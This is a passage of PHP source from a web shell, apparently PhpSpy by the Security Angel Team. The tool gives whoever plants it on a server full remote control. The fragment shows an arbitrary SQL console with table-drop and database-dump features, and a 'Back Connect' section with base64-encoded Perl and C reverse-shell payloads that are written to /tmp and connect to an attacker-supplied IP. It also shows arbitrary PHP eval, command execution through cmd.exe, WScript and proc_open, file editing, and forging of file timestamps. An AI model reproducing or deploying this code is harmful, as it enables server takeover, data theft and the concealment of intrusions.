$fp);\r\r                                        }\r\r                             }\r\r                             fclose($fp);\r\r                          $fileurl = str_replace(SA_ROOT,'',$path);\r\r                             m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');\r\r                             mysql_close();\r\r                        } else {\r\r                              m('Backup failed');\r\r                   }\r\r             }\r\r     }\r\r     if ($insert && $insertsql) {\r\r          $keystr = $valstr = $tmp = '';\r\r                foreach($insertsql as $key => $val) {\r\r                 if ($val) {\r\r                           $keystr .= $tmp.$key;\r\r                         $valstr .= $tmp."'".addslashes($val)."'";\r\r                             $tmp = ',';\r\r                   }\r\r             }\r\r             if ($keystr && $valstr) {\r\r                     dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\r\r                     m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());\r\r           }\r\r     }\r\r     if ($update && $insertsql && $base64) {\r\r               $valstr = $tmp = '';\r\r          foreach($insertsql as $key => $val) {\r\r                 $valstr .= $tmp.$key."='".addslashes($val)."'";\r\r                       $tmp = ',';\r\r           }\r\r             if ($valstr) {\r\r                        $where = base64_decode($base64);\r\r                      dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\r\r                     m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());\r\r               }\r\r     }\r\r     if ($doing == 'del' && $base64) {\r\r             $where = base64_decode($base64);\r\r              $delete_sql = "DELETE FROM $tablename WHERE $where";\r\r          dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\r\r             m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());\r\r   }\r\r\r\r   if ($tablename && $doing == 'drop') {\r\r         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\r\r             if (q("DROP TABLE $tablename")) {\r\r                     m('Drop table of success');\r\r                   $tablename = '';\r\r              } else {\r\r                      m(mysql_error());\r\r             }\r\r     }\r\r\r\r   $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');\r\r\r\r formhead(array('title'=>'MYSQL Manager'));\r\r    makehide('action','sqladmin');\r\r        p('<p>');\r\r     p('DBHost:');\r\r makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));\r\r       p(':');\r\r       makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));\r\r        p('DBUser:');\r\r makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));\r\r       p('DBPass:');\r\r makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));\r\r       p('DBCharset:');\r\r      makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));\r\r        makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));\r\r        p('</p>');\r\r    formfoot();\r\r?>\r\r<script type="text/javascript">\r\rfunction editrecord(action, base64, tablename){\r\r     if (action == 'del') {          \r\r              if (!confirm('Is or isn\'t deletion record?')) return;\r\r        }\r\r     $('recordlist').doing.value=action;\r\r   $('recordlist').base64.value=base64;\r\r  $('recordlist').tablename.value=tablename;\r\r    $('recordlist').submit();\r\r}\r\rfunction moddbname(dbname) {\r\r    if(!dbname) return;\r\r   $('setdbname').dbname.value=dbname;\r\r   $('setdbname').submit();\r\r}\r\rfunction settable(tablename,doing,page) {\r\r        if(!tablename) return;\r\r        if (doing) {\r\r          $('settable').doing.value=doing;\r\r      }\r\r     if (page) {\r\r           $('settable').page.value=page;\r\r        }\r\r     $('settable').tablename.value=tablename;\r\r      $('settable').submit();\r\r}\r\r</script>\r\r<?php\r\r  //????\r\r        formhead(array('name'=>'recordlist'));\r\r        makehide('doing');\r\r    makehide('action','sqladmin');\r\r        makehide('base64');\r\r   makehide('tablename');\r\r        p($dbform);\r\r   formfoot();\r\r\r\r //?????\r\r       formhead(array('name'=>'setdbname'));\r\r makehide('action','sqladmin');\r\r        p($dbform);\r\r   if (!$dbname) {\r\r               makehide('dbname');\r\r   }\r\r     formfoot();\r\r\r\r //???\r\r formhead(array('name'=>'settable'));\r\r  makehide('action','sqladmin');\r\r        p($dbform);\r\r   makehide('tablename');\r\r        makehide('page',$page);\r\r       makehide('doing');\r\r    formfoot();\r\r\r\r $cachetables = array(); \r\r      $pagenum = 30;\r\r        $page = intval($page);\r\r        if($page) {\r\r           $start_limit = ($page - 1) * $pagenum;\r\r        } else {\r\r              $start_limit = 0;\r\r             $page = 1;\r\r    }\r\r     if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {\r\r          dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);\r\r                //???????\r\r             $mysqlver = mysql_get_server_info();\r\r          p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');\r\r            $highver = $mysqlver > '4.1' ? 1 : 0;\r\r\r\r               //?????\r\r               $query = q("SHOW DATABASES");\r\r         $dbs = array();\r\r               $dbs[] = '-- Select a database --';\r\r           while($db = mysql_fetch_array($query)) {\r\r                      $dbs[$db['Database']] = $db['Database'];\r\r              }\r\r             makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));\r\r               $tabledb = array();\r\r           if ($dbname) {\r\r                        p('<p>');\r\r                     p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');\r\r                      if ($tablename) {\r\r                             p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');\r\r                 }\r\r                     p('</p>');\r\r                    mysql_select_db($dbname);\r\r\r\r                   $getnumsql = '';\r\r                      $runquery = 0;\r\r                        if ($sql_query) {\r\r                             $runquery = 1;\r\r                        }\r\r                     $allowedit = 0;\r\r                       if ($tablename && !$sql_query) {\r\r                              $sql_query = "SELECT * FROM $tablename";\r\r                              $getnumsql = $sql_query;\r\r                              $sql_query = $sql_query." LIMIT $start_limit, $pagenum";\r\r                              $allowedit = 1;\r\r                       }\r\r                     p('<form action="'.$self.'" method="POST">');\r\r                 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');\r\r                     makehide('tablename', $tablename);\r\r                    makehide('action','sqladmin');\r\r                        p($dbform);\r\r                   p('</form>');\r\r                 if ($tablename || ($runquery && $sql_query)) {\r\r                                if ($doing == 'structure') {\r\r                                  $result = q("SHOW COLUMNS FROM $tablename");\r\r                                  $rowdb = array();\r\r                                     while($row = mysql_fetch_array($result)) {\r\r                                            $rowdb[] = $row;\r\r                                      }\r\r                                     p('<table border="0" cellpadding="3" cellspacing="0">');\r\r                                      p('<tr class="head">');\r\r                                       p('<td>Field</td>');\r\r                                  p('<td>Type</td>');\r\r                                   p('<td>Null</td>');\r\r                                   p('<td>Key</td>');\r\r                                    p('<td>Default</td>');\r\r                                        p('<td>Extra</td>');\r\r                                  p('</tr>');\r\r                                   foreach ($rowdb as $row) {\r\r                                            $thisbg = bg();\r\r                                               p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');\r\r                                           p('<td>'.$row['Field'].'</td>');\r\r                                              p('<td>'.$row['Type'].'</td>');\r\r                                               p('<td>'.$row['Null'].'&nbsp;</td>');\r\r                                         p('<td>'.$row['Key'].'&nbsp;</td>');\r\r                                          p('<td>'.$row['Default'].'&nbsp;</td>');\r\r                                              p('<td>'.$row['Extra'].'&nbsp;</td>');\r\r                                                p('</tr>');\r\r                                   }\r\r                                     tbfoot();\r\r                             } elseif ($doing == 'insert' || $doing == 'edit') {\r\r                                   $result = q('SHOW COLUMNS FROM '.$tablename);\r\r                                 while ($row = mysql_fetch_array($result)) {\r\r                                           $rowdb[] = $row;\r\r                                      }\r\r                                     $rs = array();\r\r                                        if ($doing == 'insert') {\r\r                                             p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');\r\r                                        } else {\r\r                                              p('<h2>Update record in '.$tablename.' table &raquo;</h2>');\r\r                                          $where = base64_decode($base64);\r\r                                              $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");\r\r                                         $rs = mysql_fetch_array($result);\r\r                                     }\r\r                                     p('<form method="post" action="'.$self.'">');\r\r                                 p($dbform);\r\r                                   makehide('action','sqladmin');\r\r                                        makehide('tablename',$tablename);\r\r                                     p('<table border="0" cellpadding="3" cellspacing="0">');\r\r                                      foreach ($rowdb as $row) {\r\r                                            if ($rs[$row['Field']]) {\r\r                                                     $value = htmlspecialchars($rs[$row['Field']]);\r\r                                                } else {\r\r                                                      $value = '';\r\r                                          }\r\r                                             $thisbg = bg();\r\r                                               p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');\r\r                                           p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');\r\r                                    }\r\r                                     if ($doing == 'insert') {\r\r                                             p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');\r\r                                  } else {\r\r                                              p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');\r\r                                          makehide('base64', $base64);\r\r                                  }\r\r                                     p('</table></form>');\r\r                         } else {\r\r                                      $querys = @explode(';',$sql_query);\r\r                                   foreach($querys as $num=>$query) {\r\r                                            if ($query) {\r\r                                                 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");\r\r                                                    switch(qy($query))\r\r                                                    {\r\r                                                             case 0:\r\r                                                                       p('<h2>Error : '.mysql_error().'</h2>');\r\r                                                                      break;  \r\r                                                              case 1:\r\r                                                                       if (strtolower(substr($query,0,13)) == 'select * from') {\r\r                                                                             $allowedit = 1;\r\r                                                                       }\r\r                                                                     if ($getnumsql) {\r\r                                                                             $tatol = mysql_num_rows(q($getnumsql));\r\r                                                                               $multipage = multi($tatol, $pagenum, $page, $tablename);\r\r                                                                      }\r\r                                                                     if (!$tablename) {\r\r                                                                            $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));\r\r                                                                               $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);\r\r                                                                            preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);\r\r                                                                                $tablename = $matches[1][0];\r\r                                                                  }\r\r                                                                     $result = q($query);\r\r                                                                  p($multipage);\r\r                                                                        p('<table border="0" cellpadding="3" cellspacing="0">');\r\r                                                                      p('<tr class="head">');\r\r                                                                       if ($allowedit) p('<td>Action</td>');\r\r                                                                 $fieldnum = @mysql_num_fields($result);\r\r                                                                       for($i=0;$i<$fieldnum;$i++){\r\r                                                                          $name = @mysql_field_name($result, $i);\r\r                                                                               $type = @mysql_field_type($result, $i);\r\r                                                                               $len = @mysql_field_len($result, $i);\r\r                                                                         p("<td nowrap>$name<br><span>$type($len)</span></td>");\r\r                                                                       }\r\r                                                                     p('</tr>');\r\r                                                                   while($mn = @mysql_fetch_assoc($result)){\r\r                                                                             $thisbg = bg();\r\r                                                                               p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');\r\r                                                                           $where = $tmp = $b1 = '';\r\r                                                                             foreach($mn as $key=>$inside){\r\r                                                                                        if ($inside) {\r\r                                                                                                $where .= $tmp.$key."='".addslashes($inside)."'";\r\r                                                                                             $tmp = ' AND ';\r\r                                                                                       }\r\r                                                                                     $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';\r\r                                                                               }\r\r                                                                             $where = base64_encode($where);\r\r                                                                               if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');\r\r                                                                         p($b1);\r\r                                                                               p('</tr>');\r\r                                                                           unset($b1);\r\r                                                                   }\r\r                                                                     tbfoot();\r\r                                                                     p($multipage);\r\r                                                                        break;  \r\r                                                              case 2:\r\r                                                                       $ar = mysql_affected_rows();\r\r                                                                  p('<h2>affected rows : <b>'.$ar.'</b></h2>');\r\r                                                                 break;\r\r                                                        }\r\r                                             }\r\r                                     }\r\r                             }\r\r                     } else {\r\r                              $query = q("SHOW TABLE STATUS");\r\r                              $table_num = $table_rows = $data_size = 0;\r\r                            $tabledb = array();\r\r                           while($table = mysql_fetch_array($query)) {\r\r                                   $data_size = $data_size + $table['Data_length'];\r\r                                      $table_rows = $table_rows + $table['Rows'];\r\r                                   $table['Data_length'] = sizecount($table['Data_length']);\r\r                                     $table_num++;\r\r                                 $tabledb[] = $table;\r\r                          }\r\r                             $data_size = sizecount($data_size);\r\r                           unset($table);\r\r                                p('<table border="0" cellpadding="0" cellspacing="0">');\r\r                              p('<form action="'.$self.'" method="POST">');\r\r                         makehide('action','sqladmin');\r\r                                p($dbform);\r\r                           p('<tr class="head">');\r\r                               p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');\r\r                             p('<td>Name</td>');\r\r                           p('<td>Rows</td>');\r\r                           p('<td>Data_length</td>');\r\r                            p('<td>Create_time</td>');\r\r                            p('<td>Update_time</td>');\r\r                            if ($highver) {\r\r                                       p('<td>Engine</td>');\r\r                                 p('<td>Collation</td>');\r\r                              }\r\r                             p('</tr>');\r\r                           foreach ($tabledb as $key => $table) {\r\r                                        $thisbg = bg();\r\r                                       p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');\r\r                                   p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');\r\r                                  p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');\r\r                                      p('<td>'.$table['Rows'].'</td>');\r\r                                     p('<td>'.$table['Data_length'].'</td>');\r\r                                      p('<td>'.$table['Create_time'].'</td>');\r\r                                      p('<td>'.$table['Update_time'].'</td>');\r\r                                      if ($highver) {\r\r                                               p('<td>'.$table['Engine'].'</td>');\r\r                                           p('<td>'.$table['Collation'].'</td>');\r\r                                        }\r\r                                     p('</tr>');\r\r                           }\r\r                             p('<tr class='.bg().'>');\r\r                             p('<td>&nbsp;</td>');\r\r                         p('<td>Total tables: '.$table_num.'</td>');\r\r                           p('<td>'.$table_rows.'</td>');\r\r                                p('<td>'.$data_size.'</td>');\r\r                         p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');\r\r                                p('</tr>');\r\r\r\r                         p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");\r\r                               makehide('doing','backupmysql');\r\r                              formfoot();\r\r                           p("</table>");\r\r                                fr($query);\r\r                   }\r\r             }\r\r     }\r\r     tbfoot();\r\r     @mysql_close();\r\r}//end sql backup\r\r\r\r\r\relseif ($action == 'backconnect') {\r\r   !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];\r\r        !$yourport && $yourport = '12345';\r\r    $usedb = array('perl'=>'perl','c'=>'c');\r\r\r\r    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".\r\r         "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".\r\r                "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".\r\r                "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".\r\r                "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".\r\r                "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".\r\r                "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";\r\r  $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".\r\r         "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".\r\r                "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".\r\r                "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".\r\r                "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".\r\r                "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".\r\r                "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".\r\r                "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";\r\r\r\r     if ($start && $yourip && $yourport && $use){\r\r          if ($use == 'perl') {\r\r                 cf('/tmp/angel_bc',$back_connect);\r\r                    $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");\r\r           } else {\r\r                      cf('/tmp/angel_bc.c',$back_connect_c);\r\r                        $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');\r\r                       @unlink('/tmp/angel_bc.c');\r\r                   $res = execute("/tmp/angel_bc $yourip $yourport &");\r\r          }\r\r             m("Now script try connect to $yourip port $yourport ...");\r\r    }\r\r\r\r   formhead(array('title'=>'Back Connect'));\r\r     makehide('action','backconnect');\r\r     p('<p>');\r\r     p('Your IP:');\r\r        makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));\r\r       p('Your Port:');\r\r      makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));\r\r   p('Use:');\r\r    makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));\r\r   makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));\r\r    p('</p>');\r\r    formfoot();\r\r}//end sql backup\r\r\r\relseif ($action == 'eval') {\r\r        $phpcode = trim($phpcode);\r\r    if($phpcode){\r\r         if (!preg_match('#<\?#si', $phpcode)) {\r\r                       $phpcode = "<?php\n\n{$phpcode}\n\n?>";\r\r               }\r\r             eval("?".">$phpcode<?");\r\r      }\r\r     formhead(array('title'=>'Eval PHP Code'));\r\r    makehide('action','eval');\r\r    maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));\r\r    p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');\r\r    formfooter();\r\r}//end eval\r\r\r\relseif ($action == 'editfile') {\r\r        if(file_exists($opfile)) {\r\r            $fp=@fopen($opfile,'r');\r\r              $contents=@fread($fp, filesize($opfile));\r\r             @fclose($fp);\r\r         $contents=htmlspecialchars($contents);\r\r        }\r\r     formhead(array('title'=>'Create / Edit File'));\r\r       makehide('action','file');\r\r    makehide('dir',$nowpath);\r\r     makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));\r\r   maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));\r\r    formfooter();\r\r}//end editfile\r\r\r\relseif ($action == 'newtime') {\r\r     $opfilemtime = @filemtime($opfile);\r\r   //$time = strtotime("$year-$month-$day $hour:$minute:$second");\r\r       $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);\r\r    formhead(array('title'=>'Clone file was last modified time'));\r\r        makehide('action','file');\r\r    makehide('dir',$nowpath);\r\r     makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));\r\r  makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));\r\r    formfooter();\r\r formhead(array('title'=>'Set last modified'));\r\r        makehide('action','file');\r\r    makehide('dir',$nowpath);\r\r     makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));\r\r     p('<p>Instead &raquo;');\r\r      p('year:');\r\r   makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));\r\r   p('month:');\r\r  makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));\r\r  p('day:');\r\r    makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));\r\r    p('hour:');\r\r   makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));\r\r   p('minute:');\r\r makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));\r\r p('second:');\r\r makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));\r\r p('</p>');\r\r    formfooter();\r\r}//end newtime\r\r\r\relseif ($action == 'shell') {\r\r        if (IS_WIN && IS_COM) {\r\r               if($program && $parameter) {\r\r                  $shell= new COM('Shell.Application');\r\r                 $a = $shell->ShellExecute($program,$parameter);\r\r                       m('Program run has '.(!$a ? 'success' : 'fail'));\r\r             }\r\r             !$program && $program = 'c:\windows\system32\cmd.exe';\r\r                !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';\r\r              formhead(array('title'=>'Execute Program'));\r\r          makehide('action','shell');\r\r           makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));\r\r                p('<p>');\r\r             makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));\r\r               makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));\r\r         p('</p>');\r\r            formfoot();\r\r   }\r\r     formhead(array('title'=>'Execute Command'));\r\r  makehide('action','shell');\r\r   if (IS_WIN && IS_COM) {\r\r               $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');\r\r              makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));\r\r       }\r\r     p('<p>');\r\r     makeinput(array('title'=>'Command','name'=>'command','value'=>$command));\r\r     makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));\r\r p('</p>');\r\r    formfoot();\r\r\r\r if ($command) {\r\r               p('<hr width="100%" noshade /><pre>');\r\r                if ($execfunc=='wscript' && IS_WIN && IS_COM) {\r\r                       $wsh = new COM('WScript.shell');\r\r                      $exec = $wsh->exec('cmd.exe /c '.$command);\r\r                   $stdout = $exec->StdOut();\r\r                    $stroutput = $stdout->ReadAll();\r\r                      echo $stroutput;\r\r              } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {\r\r                       $descriptorspec = array(\r\r                         0 => array('pipe', 'r'),\r\r                      1 => array('pipe', 'w'),\r\r                      2 => array('pipe', 'w')\r\r                    );\r\r                    $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);\r\r                   if (is_resource($process)) {\r\r                          fwrite($pipes[0], $command."\r\n");\r\r                           fwrite($pipes[0], "exit\r\n");\r\r                                fclose($pipes[0]);\r\r                            while (!feof($pipes[1])) {\r\r                                    echo fgets($pipes[1], 1024);\r\r                          }\r\r                             fclose($pipes[1]);\r\r                            while (!feof($pipes[2])) {\r\r                                    echo fgets($pipes[2], 1024);\r\r                          }\r\r                             fclose($pipes[2]);\r\r                            proc_close($process);\r\r                 }\r\r             } else {\r\r                      echo(execute($command));\r\r              }\r\r             p('</pre>');\r\r  }\r\r}//end shell\r\r\r\relseif ($action == 'phpenv') {\r\r     $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';\r\r       $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');\r\r      !$dis_func && $dis_func = 'No'; \r\r      $info = array(\r\r                1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),\r\r             2 => array('Server Domain',$_SERVER['SERVER_NAME']),\r\r          3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),\r\r               4 => array('Server OS',PHP_OS),\r\r               5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),\r\r             6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),\r\r            7 => array('Server Web Port',$_SERVER['SERVER_PORT']),\r\r                8 => array('PHP run mode',strtoupper(php_sapi_name())),\r\r               9 => array('The file path',__FILE__),\r\r\r\r               10 => array('PHP Version',PHP_VERSION),\r\r               11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),\r\r           12 => array('Safe Mode',getcfg('safe_mode')),\r\r         13 => array('Administrator',$adminmail),\r\r              14 => array('allow_url_fopen',getcfg('allow_url_fopen')),\r\r             15 => array('enable_dl',getcfg('enable_dl')),\r\r         16 => array('display_errors',getcfg('display_errors')),\r\r               17 => array('register_globals',getcfg('register_globals')),\r\r           18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),\r\r           19 => array('memory_limit',getcfg('memory_limit')),\r\r           20 => array('post_max_size',getcfg('post_max_size')),\r\r         21 => array('upload_max_filesize',$upsize),\r\r           22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),\r\r          23 => array('disable_functions',$dis_func),\r\r   );\r\r\r\r  if($phpvarname) {\r\r             m($phpvarname .' : '.getcfg($phpvarname));\r\r    }\r\r\r\r   formhead(array('title'=>'Server environment'));\r\r       makehide('action','phpenv');\r\r  makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));\r\r    formfooter();\r\r\r\r       $hp = array(0=> 'Server', 1=> 'PHP');\r\r for($a=0;$a<2;$a++) {\r\r         p('<h2>'.$hp[$a].' &raquo;</h2>');\r\r            p('<ul class="info">');\r\r               if ($a==0) {\r\r                  for($i=1;$i<=9;$i++) {\r\r                                p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');\r\r                       }\r\r             } elseif ($a == 1) {\r\r                  for($i=10;$i<=23;$i++) {\r\r                              p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');\r\r                       }\r\r             }\r\r             p('</ul>');\r\r   }\r\r}//end phpenv\r\r\r\relse {\r\r    m('Undefined Action');\r\r}\r\r\r\r?>\r\r</td></tr></table>\r\r<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">\r\r       <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>\r\r Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.\r\r</div>\r\r</body>\r\r</html>\r\r\r\r<?php\r\r\r\r/*======================================================\r\r???\r\r======================================================*/\r\r\r\rfunction m($msg) {\r\r echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';\r\r     echo $msg;\r\r    echo '</div>';\r\r}\r\rfunction 